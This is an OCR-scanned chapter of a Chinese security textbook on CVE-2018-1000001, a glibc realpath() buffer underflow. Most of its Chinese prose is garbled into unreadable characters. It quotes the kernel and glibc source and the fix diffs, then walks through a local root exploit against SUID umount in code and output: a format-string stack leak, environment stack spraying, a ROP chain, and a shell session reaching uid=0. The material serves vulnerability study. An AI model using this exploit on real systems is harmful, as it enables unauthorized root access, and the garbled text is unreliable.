7.1.5 [CVE-2018-1000001] glibc Buffer
Underflow
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12, BUNRISBERAETHMERNRER , BNSRMRERTEBRIZIZER , AR ER chroot() %
ET7T—TMHNXERARER , BREFHAERNIRE RBIRMITE RIIHE , getcwd STEREIRIERIZAIM
£ (unreachable) , BENRBHRIERE A —MEHMAFZE , HEAF e AT HFRRE. ARIRERY
XANELI M) FIFERRE realpath() RBPAREZHX TG , AMSRESRBNIT , BRA SUID i2F
BIRIR1S B R AR 4% L/ root AR,
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HEF (EFRRVIAIR &
BIERE Ubuntu 16.04 KRR LEM @ 64 4L
ERRR=S gdb-peda RAES : 7.11.1
R glibc kR4S : 2.23-0ubuntu9

RALRUMBEZ /A TRERNARE , SEIENREMIHNARKERDE THAKEH , s BB RHTE
. exp

$ gcc -g exp.c

$ id

uid=999(ubuntu) gid=999(ubuntu)
groups=999(ubuntu),4(adm),24(cdrom),27(sudo), 30(dip),46(plugdev),113(1lpadmin), 128(sambas
hare)

$ 1s -1 a.out

-rwxrwxr-x 1 ubuntu ubuntu 44152 Feb 1 03:28 a.out

$ ./a.out

./a.out: setting up environment ...

Detected 0S version: "16.04.3 LTS (Xenial Xerus)"

./a.out: using umount at "/bin/umount".

No pid supplied via command line, trying to create a namespace

CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS
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protection.

Namespaced filesystem created with pid 7429

Attempting to gain root, try 1 of 10 ...

Starting subprocess

Stack content received, calculating next phase

Found source address location 0x7ffc3f7bb168 pointing to target address 0x7ffc3f7bb238
with value 0x7ffc3f7bd23f, libc offset is Ox7ffc3f7bb158

Changing return address from 0x7f24986c4830 to Ox7f2498763e00, 0x7f2498770a20

Using escalation string
%69%hn%73$hNn%1$2592.2592s%70$hn%1$13280.13280s%66$hn%1$16676.166765%68%hn%72$hn%1$6482 .6
482s%675hn%1$1.15%71$hn%1$26505.265055%1$45382.453825%155%1$5%65$hn%1$5s%1$s%1$s%1$s%1$55%
1$5%1$186.1865%398hN-%35$1X -%39$1X -%64$1LX -%65$1X -%66$1X -%67$1X-%68B1X-%69$1X-%70$1xX -
%71$1Xx-%78%s

Executable now root-owned

Cleanup completed, re-invoking binary

/proc/self/exe: invoked as SUID, invoking shell ...

# id

uid=0(root) gid=0(root)
groups=0(root),4(adm),24(cdrom),27(sudo), 30(dip), 46(plugdev),113(1lpadmin), 128 (sambashare
), 999 (ubuntu)

# 1s -1 a.out

-rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out

TREREFNERABAIHITIEFEC T —1 SUID i2F , AERITIZIEFEN] WEERH F1RXE root B,
- NEbakii
getcwd() RIEELGNT :

#include <unistd.h>

char *getcwd(char *buf, size t size);
EATFHE - null FEENF/FE , AT HINHFEMN S LTEBRNENRRR, HIMRFREISE buf PRIV
NiR[E],

BSEM Linux RIZAERE |, 7 2.6.36 lRANHY vfs: show unreachable paths in getcwd and proc X;R323Z , {#15
HERAREARN , KEREMERFAERMEMLE (unreachable)

// fs/dcache.c

static int prepend_unreachable(char **buffer, int *buflen)

{
return prepend(buffer, buflen, "(unreachable)", 13);

static int prepend(char **buffer, int *buflen, const char *str, int namelen)

{

*pbuflen -= namelen;
if (*buflen < 0)
return -ENAMETOOLONG;

*buffer -= namelen;


af://n479
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memcpy (*buffer, str, namelen);
return 0;

* NOTE! The user-level library version returns a

* character pointer. The kernel system call just

* returns the length of the buffer filled (which

* includes the ending '\@' character), or a negative
* error value. So libc would do something like

* char *getcwd(char * buf, size_ t size)

A

* int retval;

*

* retval = sys_getcwd(buf, size);
* if (retval >= 0)

* return buf;

* errno = -retval;

* return NULL;

)

*/

SYSCALL_DEFINE2(getcwd, char __user *, buf, unsigned long, size)
{

int error;

struct path pwd, root;
char *page = __getname();
if (!page)

return -ENOMEM;

rcu_read_lock();
get_fs_root_and_pwd_rcu(current->fs, &root, &pwd);

error = -ENOENT;

if (!d_unlinked(pwd.dentry)) {
unsigned long len;
char *cwd = page + PATH_MAX;
int buflen = PATH_MAX;

prepend(&cwd, &buflen, "\o", 1);
error = prepend_path(&pwd, &root, &cwd, &buflen);
rcu_read_unlock();

if (error < 0)
goto out;

/* Unreachable from current root */
if (error > 0) {
error = prepend_unreachable(&cwd, &buflen); // HIRZATIZAR |, HRI0FIS
if (error)
goto out;



error = -ERANGE;
len = PATH_MAX + page - cwd;
if (len <= size) {
error = len;
if (copy_to_user(buf, cwd, len))
error = -EFAULT;

}
} else {
rcu_read_unlock();
}
out:
__putname(page);
return error;
}

AIABRIFES|# T unreachable XIMEAE , RFIBNREEARTERABH , EANGERIFHUEK D ARERLE
WERIZERAATRIARZ, AMRAIMENR |, glibc MRIXFFMEY , ERATIRER buf SEELETiblt, HABE
MTFHEREE , FHIETT getewd RFIFAZAT, glibc Y getewd() FERBHMELBHFT , TREE T TN
NILECHY o) &L,

M glibc FERE , BTEMARIZ getcwd FFREAEIIHUE , FRUTEELL realpath() H, {XINHKEE
name[0] != '/' FIBIESHIE—MENERE , MBKR TN ( FFRBRATEAREZ,

__realpath() RTFIF path FTIEEBIMENERIZIEMRAENTERTZE , HESRKAEMNTSIHERFH#NT
/. /o FIBREY /. ARTFHRE resolved_path iE@AVHLLAH , BAASKIAT ¢

// stdlib/canonicalize.c

char *
__realpath (const char *name, char *resolved)
{
[...]
if (name[0] != '/") // FIERERE HEITERIZ
{
if (!__getcwd (rpath, path_max)) // iHF getcwd() ERiZg
{
rpath[0] = '\0';
goto error;
}
dest = _ _rawmemchr (rpath, '\0');
}
else
{
rpath[e] = '/';
dest = rpath + 1;
}

for (start = end = name; *start; start = end) // SXRIEACIEFRIZHH—ER
{
[...]
/* Find end of path component. */



for (end = start; *end && *end != '/'; ++end) // end IRiZ—ERERIZHIKRE
/* Nothing. */;

if (end - start == 0)

break;
else if (end - start == 1 && start[0] == '.') // Hi&ZHR "." WELH
/* nothing */;
else if (end - start == 2 && start[0] == '.' && start[1] == '.') // Hi&ZFHR ".."
RIS A
{

/* Back up to previous component, ignore if at root already. */
if (dest > rpath + 1)
while ((--dest)[-1] != '/"); // B, AR rpath AKE '/', RETE

else // BRIZEARHEE "." F ".." BEAE , E%] name % dest
size_t new_size;

if (dest[-1] != '/")
*dest++ = '/';

[...]

HEAR name RE2—MEITERIZ , EE8D ../../x , realpath() BERNRITIEERRKFHTHENT , MEER
INTEM /7 Fk, BIMIERNEEHTH , Hi8F ../ R , siakfei—1 / , BXEFEE—0
A, EENEAXARHAITRE , MREAXARU /7 AL, WRHSMEITEPX , R4EiEH, FIAE getcwd
REIME—NAREIZARRIZ (unreachable)/ B, ../../x WEZA ../ MEBZBTTEHX , AE x &
8 B E X A R A hE AL,

wT

mEAMEREHTEBCHWHT , ARERBHIMSGINT —NFIET , 2 dest == rpath BIRHER , JAR *dest
1=/, MRBRZERIEARNEM /7 FFk , ERlA R,

--- stdlib/canonicalize.c 2018-01-05 07:28:38.000000000 +0000
+++ stdlib/canonicalize.c 2018-01-05 14:06:22.000000000 +0000
@@ -91,6 +91,11 @@

goto error;

dest = _ rawmemchr (rpath, '\0');
+/* If path is empty, kernel failed in some ugly way. Realpath
+has no error code for that, so die here. Otherwise search later
+on would cause an underrun when getcwd() returns an empty string.
+Thanks Willy Tarreau for pointing that out. */
+ assert (dest != rpath);
}

else

{
@@ -118,8 +123,17 @@

else if (end - start == 2 && start[0] == '.' && start[1] == '.")


af://n497

/* Back up to previous component, ignore if at root already. */
= if (dest > rpath + 1)

- while ((--dest)[-1] !'= '/");
+ dest--;
+ while ((dest !'= rpath) && (*--dest != '/"));
+ if ((dest == rpath) && (*dest '= '/') {
+ /* Return EACCES to stay compliant to current documentation:
+ "Read or search permission was denied for a component of the
+ path prefix." Unreachable root directories should not be
+ accessed, see https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/
*/
+ __set_errno (EACCES);
it goto error;
+ }
+ dest++;

}

else
{

EXMARUFHEEREH,

RARANARRERNERLRMER , 3 getcwd() REIAIEEIZ path FHITIRE , YIRWE path[0] ==
v/, IRBAREITERR , IREl, BNEEEl generic_getcwd() (ANEBELY , IRIBEBARE ) #HITRIE

$ git show 52a713fdd0a30elbd79818e2e3c4ab44ddcala94 sysdeps/unix/sysv/linux/getcwd.c |
cat
diff --git a/sysdeps/unix/sysv/linux/getcwd.c b/sysdeps/unix/sysv/linux/getcwd.c
index f545106289..866b9d26d5 100644
--- a/sysdeps/unix/sysv/linux/getcwd.c
+++ b/sysdeps/unix/sysv/linux/getcwd.c
@@ -76,7 +76,7 @@ _ _getcwd (char *buf, size_t size)
int retval;

retval = INLINE_SYSCALL (getcwd, 2, path, alloc_size);
- if (retval >= 0)
+ 1if (retval > 0 && path[0] == '/")
{
#ifndef NO_ALLOCATION
if (buf == NULL && size == 0)
@@ -92,10 +92,10 @@ _ getcwd (char *buf, size_ t size)
return buf;

- /* The system call cannot handle paths longer than a page.
- Neither can the magic symlink in /proc/self. Just use the
/* The system call either cannot handle paths longer than a page

or can succeed without returning an absolute path. Just use the

generic implementation right away. */
- 1if (errno == ENAMETOOLONG)
+ if (retval >= 0 || errno == ENAMETOOLONG)

{

#ifndef NO_ALLOCATION



if (buf == NULL && size == 0)

Exploit
umount B1&7E util-linux A, AFEIRR , BNEHFEFLE—T :

sudo apt-get install dpkg-dev automake

sudo apt-get source util-linux

cd util-linux-2.27.1

./configure

$ make && sudo make install

$ file /bin/umount

/bin/umount: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /1ib64/1d-linux-x86-64.s0.2, for GNU/Linux 2.6.32,
BuildID[shal]=2104fb4e2c126b9ac812e611b291e034b3c361f2, not stripped

B B B &+

exp EZERMANERS :

int main(int argc, char **argv) {
[...]
pid_t nsPid=prepareNamespacedProcess();
while(excalateCurrentAttempt<escalateMaxAttempts) {
[ooo]

attemptEscalation();

[...]

if(statBuf.st_uid==0) {
fprintf(stderr, "Executable now root-owned\n");
goto escalateOk;

preReturnCleanup:
[...]
if(!exitStatus) {
fprintf(stderr, "Cleanup completed, re-invoking binary\n");
invokeShell("/proc/self/exe");
exitStatus=1;

escalateOk:
exitStatus=0;
goto preReturnCleanup;

e prepareNamespacedProcess() : /E&—MSITEECD mount namespace BUHTE , FIREIFE HAEH
M, ZHERTFIEFEERNFILERE , AR namespace,
e attemptEscalation() : A umount 33k root R,


af://n507

B 2T —TF mount namespace , ERTRBEX G RANIEFH S , FFARER mount namespace BB 2L
MASEEEMNERRES | SRIHZFER mount namespace BERMBEHERE

/proc/[pid]/mounts . /proc/[pid]/mountinfo #0 /proc/[pid]/mountstats EM@E, &/ mount
namespace #HE —H B SHIEHRIIFR | A clone 3#& unshare REEIE T #HI mount namespace BY , #i
BIEHY namespace KEFIE—MERERK namespace BRIEHRTIR , BAXZE , B namespace 8B X &
7o

BEATRERN , BRIFZE—4 SUID 2% , mount 1l umount ELERFINERE , ERENEKERT realpath()
RERMTIRZ , MBRWFABEAFER. EF umount XEIER , ARE—RBITAIRESMERS , ATMEIUS
X% 2 iRR AR,

BT umount B9 realpath() HIRMERETEIEL , BE—TLHMESEREHZCIE—NTEUMERR, BIBIRET
BEER FIAIMBET & |, [VRE locale BNRIMEIX — 5, locale 7E glibc SiEHEEE AL AFZFFIE P AR
ENTCA (GNAdiEl, HERE ) , ERTE umount SN ZaI#HTHIRL , TSR R EMFIALT
realpath() EREFXAIEVILEUMAS., RRENKBKBTEA locale WETAMY , ERERSF | libc
BT —1 /usr/lib/locale/C.UTF-8 , BiBidIMELTE LC ALL=C.UTF-8 B{TI0EE,

£ locale #1REJE , X TG &S locale RATFINE, national language support(NLS) BIF B — 4

/ , HIGEERRENRER, ARG, APESII umount SHRS EMENRISHINE | (B fprintf() EREAY %n
BN FRS , BN —LRFMIBHITSRIE, BT fprintf() FIERIBERTREREER , FTLAFTLLZEE ASLR
FRi, FREBATRFIUMAZFEEERE libmnt_context ZEHMARRY restricted FER :

// util-linux/libmount/src/mountP.h
struct libmnt_context

{
int action; /* MNT_ACT_{MOUNT, UMOUNT} */
int restricted; /* root or not? */
char *fstype_pattern; /* for mnt_match_fstype() */
char *optstr_pattern; /* for mnt_match_options() */
[--.]

3

ELRXUGRAE , EFHABERNEBRABTSEREERFBEATH , ERHREZ, B2  EHRERNAEEN
PR BEHBeRE , HH restricted WEATREBEEHXERANAR, MRFIMGZEES , umount KiR
BAAEERZM root AR, FRFTLUBIEEIE root MR AMEI—NMEER DoS (MNSEXERFAIR , FILTE
Debian &1 ) .

HAFAMERMR Ubuntu16.04 L 2 7EIREF A FHTEIAR :

static char* osSpecificExploitDatalList[]={
// Ubuntu Xenial libc=2.23-0Qubuntu9
"\"16.04.3 LTS (Xenial Xerus)\"",

" /x/ ../ .. /AAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AY,
" _nl_load_locale_from_archive",
"\X07\0\O\0\x26\O\O\O\x40\0\0\O\XdO\XF5\X09\x00\XxTO\xc1\x0a\x00"

}i




prepareNamespacedProcess() EREIITAIR :

static int usernsChildFunction() {

[...]

int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL); // % tmpfs EREHZRY
tmpfs #EEHE /tmp

[...]

pid_t prepareNamespacedProcess() {
if(namespacedProcessPid==-1) {
[...]
namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
CLONE_NEWUSER|CLONE_NEWNS |SIGCHLD, NULL); // iEF clone() GIEMHIE , FiHiEMITERE
usernsChildFunction()
[...]
char pathBuffer[PATH_MAX];
int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
namespacedProcessPid);
char *namespaceMountBaseDir=strdup(pathBuffer); // /proc/[pid]/cwd B—NFSiEE, 18O
HIEHANTEER

W
&

// Create directories needed for umount to proceed to final state
// "not mounted".
createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x"); // £ cwd BRTiE
J3EIE (unreachable)/x, ~[E
result=snprintf(pathBuffer, sizeof(pathBuffer),
"(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
result=snprintf(pathBuffer, sizeof(pathBuffer),
"(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
result=snprintf(pathBuffer, sizeof(pathBuffer),
"(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);

"

// Create symlink to trigger underflows.
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
namespaceMountBaseDir);
result=symlink(osReleaseExploitData[1], pathBuffer); // €lER&7H pathBuffer KITFShHtis
[...]

// Write the initial message catalogue to trigger stack dumping
// and to make the "umount" call privileged by toggling the "restricted"
// flag in the context.
result=snprintf(pathBuffer, sizeof(pathBuffer),
"%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
namespaceMountBaseDir, osReleaseExploitData[2]); // 7&Z= "restricted" IRE&IEIHF

umount 58] ERE R LAINE

[...]
char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));

char *stackDumpStrEnd=stackDumpStr;



stackDumpStreEnd+=sprintf(stackDumpStrEnd, "AA%%%d$S1nAAAAAA",
((int*)osReleaseExploitData[3]) [ED_STACK_OFFSET_CTX]);
for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) { // BIEEIE
FrFE dump AREUE , DA ASLR
memcpy (stackDumpStrEnd, "%0161x", 6);
stackDumpStrEnd+=6;

[...]
result=writeMessageCatalogue(pathBuffer,
(char*[]1){
"%s: mountpoint not found",
"%s: not mounted",
"%s: target is busy\n (In some cases useful info about processes that\n
use the device is found by lsof(8) or fuser(1).)"
+
(char*[]){"1234", stackDumpStr, "5678"},
3); // {BE—/ catalogue , ¥ LMER stackDumpStr HBAHXFHFEEHE

[...]

result=snprintf(pathBuffer, sizeof(pathBuffer),
"%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-1linux.mo",
namespaceMountBaseDir, osReleaseExploitData[2]);

secondPhaseTriggerPipePathname=strdup(pathBuffer); // BN

[...]

result=snprintf(pathBuffer, sizeof(pathBuffer),
"%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
namespaceMountBaseDir, osReleaseExploitData[2]);

secondPhaseCataloguePathname=strdup(pathBuffer); // BIENH

return(namespacedProcessPid); // R[EF#HFE ID

FTEIEZRYSMERMAIT -

$ find /proc/10173/cwd/ -type d

/proc/10173/cwd/

/proc/10173/cwd/ (unreachable)

/proc/10173/cwd/ (unreachable)/tmp

/proc/10173/cwd/ (unreachable)/tmp/_nl_load_locale_from_archive

/proc/10173/cwd/ (unreachable)/tmp/_nl_load_locale_from_archive/X.x
/proc/10173/cwd/ (unreachable)/tmp/_nl_load_locale_from_archive/X.x/LC_MESSAGES
/proc/10173/cwd/ (unreachable)/tmp/_nl_load_locale_from_archive/X.X
/proc/10173/cwd/ (unreachable)/tmp/_nl load_locale_from_archive/X.X/LC_MESSAGES
/proc/10173/cwd/ (unreachable)/tmp/_nl load_locale_from_archive/C.UTF-8
/proc/10173/cwd/ (unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES
/proc/10173/cwd/ (unreachable)/x

$ find /proc/10173/cwd/ -type f

/proc/10173/cwd/DATEMSK

/proc/10173/cwd/ (unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES/util-
linux.mo

/proc/10173/cwd/ready



$ find /proc/10173/cwd/ -type 1
/proc/10173/cwd/ (unreachable)/tmp/down
$ find /proc/10173/cwd/ -type p

/proc/10173/cwd/ (unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES/util-

linux.mo

RBERBFZER] AN FHIEHITIRE , BULIRE setgroups J deny , aJUABREITESFT namespace EE1AA

setgroups() BRFYSRIRE groups ; BTIRE uid map F gid map , AT FHIZEECIRBIFEH S
T

$ cat /proc/10173/setgroups

deny
$ cat /proc/10173/uid_map

0 999 1
$ cat /proc/10173/gid_map

0 999 1

XHEEZTIEMMTF T, #FAEZED attemptEscalation() RZK :

int attemptEscalation() {
[...]
pid_t childPid=fork();
if(!childPid) {
[...]
result=chdir(targetCwd); // EBHFTIEERA targetCwd

// Create so many environment variables for a kind of "stack spraying".
int envCount=UMOUNT_ENV_VAR_COUNT;
char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
umountEnv[envCount--]=NULL;
umountEnv[envCount--]="LC_ALL=C.UTF-8";
while(envCount>=0) {
umountEnv[envCount - - ]="AANGUAGE=X.X"; // W%y EEB
}
// Invoke umount first by overwriting heap downwards using links
// for "down", then retriggering another error message ("busy")
// with hopefully similar same stack layout for other path "/".

R. ERYN

Char* umountArgs[]:{umountpathname’ ll/ll, "/II, ||/||, ll/"’ ||/||, ll/ll’ II/"’ ||/ll, ll/ll,

/" "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc",
"LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0",
"LABEL=789abcdef0", NULL};
result=execve(umountArgs[0], umountArgs, umountEnv);
}
[...]
int escalationPhase=0;
[...]
while(1) {
if(escalationPhase==2) { // BMER 2 => case 3
result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
[...]

escalationPhase++;



// Wait at most 10 seconds for IO.
result=poll(pollFdList, 1, 10000);
[...]
// Perform the I0 operations without blocking.
if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
result=read(
pollFdList[0].fd, readBuffer+readDatalLength,
sizeof(readBuffer)-readDatalLength);
[...]

readDatalLength+=result;

// Handle the data depending on escalation phase.
int movelLength=0;
switch(escalationPhase) {

case 0: // Initial sync: read A*8 preamble. // BRER o, iZENEATEOMER util-
linux.mo XA FRFHR, HIIEA 8*'A' 9 preamble
[...]

char *preambleStart=memmem(readBuffer, readDatalLength,
"AAAAAAAA", 8);  // BHRTE ,1&E preambleStart

[...]
// We found, what we are looking for. Start reading the stack.
escalationPhase++; // BRERAN 1 => case 1
movelLength=preambleStart-readBuffer+8;
case 1: // Read the stack. // BEE 1, MBARMCFEFRIEZHERE , &Y 1libc F85

FRRYHBE AR ASLR
// Consume stack data until or local array is full.
while(movelLength+16<=readDatalLength) { // BB ERIRA
result=sscanf(readBuffer+moveLength, "%0161x",
(int*)(stackData+stackDataBytes));

[...]
movelLength+=sizeof (long)*2;
stackDataBytes+=sizeof(long);

// See if we reached end of stack dump already.
if(stackDataBytes==sizeof(stackData))

break;
}
if(stackDataBytes!=sizeof(stackData)) // EE case 1 BERILEMHAAMIL , BIFTEH
EBRiER
break;

// All data read, use it to prepare the content for the next phase.
fprintf(stderr, "Stack content received, calculating next phase\n");

int *exploitOffsets=(int*)osReleaseExploitData[3]; // MZBIRIEEIBRIRE ST
BERHH

// This is the address, where source Pointer is pointing to.
void *sourcePointerTarget=((void**)stackData)

[exploitOffsets[ED_STACK_OFFSET_ARGV]];

// This is the stack address source for the target pointer.
void *sourcePointerLocation=sourcePointerTarget-0xdo;



void *targetPointerTarget=((void**)stackData)
[exploitOffsets[ED_STACK_OFFSET_ARGO]];
// This is the stack address of the libc start function return
// pointer.
void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
fprintf(stderr, "Found source address location %p pointing to target address
%p with value %p, libc offset is %p\n",
sourcePointerLocation, sourcePointerTarget,
targetPointerTarget, libcStartFunctionReturnAddressSource);
// So the libcStartFunctionReturnAddressSource is the lowest address
// to manipulate, targetPointerTarget+...

void *1libcStartFunctionAddress=((void**)stackData)
[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];

void *stackWriteData[]={
libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]

3

fprintf(stderr, "Changing return address from %p to %p, %p\n",
libcStartFunctionAddress, stackWriteData[O],
stackWriteData[1]);

escalationPhase++; // BRERIN 1 => case 2

char *escalationString=(char*)malloc(1024); // BT MRS FEREE AR
H— util-linux.mo A
createStackWriteFormatString(
escalationString, 1024,
exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer
argument for fprintf
sourcePointerTarget, // Base value to write
exploitOffsets[ED_STACK_OFFSET_ARGO]+1, // Stack position of argv[0]
pointer
libcStartFunctionReturnAddressSource,
(unsigned short*)stackwWriteData,
sizeof (stackWriteData)/sizeof (unsigned short)
)

fprintf(stderr, "Using escalation string %s'", escalationString);

result=writeMessageCatalogue(
secondPhaseCataloguePathname,
(char*[1){
"%s: mountpoint not found",
"%s: not mounted",
"%s: target is busy\n (In some cases useful info about
processes that\n use the device is found by lsof(8) or fuser(1).)"
3
(char*[]){

escalationString,
"BBBB5678%3%s\n",
"BBBBABCD%s\n"},
3);
break;

case 2: // BRER 2, 1BIXTSEL “LANGUAGE” , NmfiA& T util-linux.mo BIEFEAN , RE



BIBRAMFFREEAR S — util-linux.mo A
case 3: // BAER 3, i%BX umount RUMIECAESEPEEHRTE , EATERF ROP AT
fchown/fchmod {EXMXFEFIFTEE |, &xERH
// Wait for pipe connection and output any result from mount.
readDatalLength=0;
break;
[...]
}
if(moveLength) {
memmove (readBuffer, readBuffer+moveLength, readDatalLength-moveLength);
readDatalLength-=moveLength;

attemptEscalationCleanup:

[...]

return(escalationSuccess);

BB ERTFRREKREN "AANGUAGE=XX" IMETE , XLETEM TR LS , B8 TAXENEH., His
T umount B, RPTEERIARZE] realpath() FHiER Fi&E, umount A setlocale i%E locale , &EIAH
realpath() I&ERRFIERRMT :

/*
* Check path -- non-root user should not be able to resolve path which is
* unreadable for him.
*/
static char *sanitize_path(const char *path)
{
[...]
p = canonicalize_path_restricted(path); // ZEHEIEE realpath() , FiRE4ENTHbE
[...]

return p;

int main(int argc, char **argv)
{
[...]
setlocale(LC_ALL, ""); // i8& locale, LC_ALL TEMEELEESHE LANG FIFfE LC_* TEME
[...]
if (all) {
[...]
} else if (argc < 1) {
[...]
} else if (alltargets) {
[...]
} else if (recursive) {
[...]
} else {
while (argc--) {

char *path = *argv;



if (mnt_context_is_restricted(cxt)

&& !'mnt_tag_is_valid(path))

path = sanitize_path(path); // BF sanitize_path REHEEIRZ
rc += umount_one(cxt, path);
if (path !'= *argv)

free(path);

argv++;

}

mnt_free_context(cxt);
return (rc < 256) ? rc : 255;

#include <locale.h>

char *setlocale(int category, const char *locale);

// util-linux/lib/canonicalize.c
char *canonicalize path_restricted(const char *path)

{
[...]
canonical = realpath(path, NULL);
Looo]
return canonical;
}

E R EBERIMETE IR ( EMAIN D "LANGUAGE=X.X") , ZFRAfTENHEIRER | tATE—MERN
message catalogue XF#INE , EEAENUFERFHIGHF dump 2l stderr , SAFIEW EEFTIFVIRE
restricted FE& , FIE—1 L BRIBSHHEP , BEP—MIMEEEENHIERR "LANGUAGE=X.X",

HFESAETHE , umount F&iXINE S —FMIESHY catalogue, AT umount 2B —/NEEREIATEIE—
N9 message catalogue , ImAF AFJURILZ#HIT , G umount LT,

EMENRACFFRUNECE THRIERNFERE, BREZPIAEESENEHABTEA , BANEXR fprintf
WMILARERMERNCFRFE , BEEXAREZEESEANENRNFMI , XERA-MECHEMVIINEE | 88K
fprintf FIAR{EREH , BERERBIKEFAIESHEH. BRAMFHFHEESLIENT IR EM U F RHEER T
getdate() F1 execl() FNRHTF , ABFAXFELME ROP,

WIRBERXGFREE— shebang (BI"#!") , ERFIAA TR BT BEFIELENBERE, AR ZREFA
EFEN T ENMBENNR , FEETM— SUID #2F, = umount R¥ANIERAE R XHINREE T EX ,
ELM—ERBEFFEA SUID ZeH X 4HrI4HEITNEE , Bl—4 SUID shell , SERRMN,

eEnH

e https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/
e https://github.com/5H311-1N|3C706/local-root-exploits/tree/master/linux/CVE-2018-1000001
e https://github.com/karelzak/util-linux/blob/master/sys-utils/umount.c



af://n561
https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/
https://github.com/5H311-1NJ3C706/local-root-exploits/tree/master/linux/CVE-2018-1000001
https://github.com/karelzak/util-linux/blob/master/sys-utils/umount.c

® man 3 getcwd , man 3 realpath , man mount_namespaces
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